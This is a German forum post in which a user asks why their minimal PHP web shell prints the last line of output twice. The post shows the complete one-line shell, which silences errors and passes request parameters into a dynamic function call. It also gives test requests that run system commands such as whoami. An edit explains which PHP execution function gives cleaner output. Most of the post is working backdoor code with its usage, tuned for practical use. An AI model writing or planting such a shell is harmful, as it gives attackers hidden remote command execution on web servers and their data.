Könnt ihr mir erklären warum diese Shell die letzte Zeile der Ausgabe immer dupliziert?
Shell-Code:
<?php error_reporting(0); extract($_REQUEST); die($ctime($atime)); ?>
1. Test-Command:
http://localhost/test.php | POST: ctime=system&atime=whoami
Ausgabe:
pc01\x pc01\x
2. Test-Command:
http://localhost/test.php | POST: ctime=system&atime=echo Test!
Ausgabe:
Test! Test!
Zum verdeutlichen des Problems hier nochmal ein Screenshot von Curl:
Wie man sieht wird die letzte Zeile immer doppelt ausgegeben.
Lässt sich das irgendwie vermeiden bzw. beheben?
Nervt nämlich sehr wenn man vernünftig damit arbeiten möchte.
--------------- EDIT ---------------
Habe den Fehler bereits selbst gefunden:
Statt system() oder exec() sollte in diesem Fall eher shell_exec() oder passthru() verwendet werden:
system() = Komplette Ausgabe, letzte Zeile doppelt. exec() = Einfache Ausgabe, nur letzte Zeile. shell_exec() & passthru() = Komplette Ausgabe mit folgender Leerzeile.
Bearbeitet von SecurityFlaw, 28 April 2018 - 00:04 Uhr.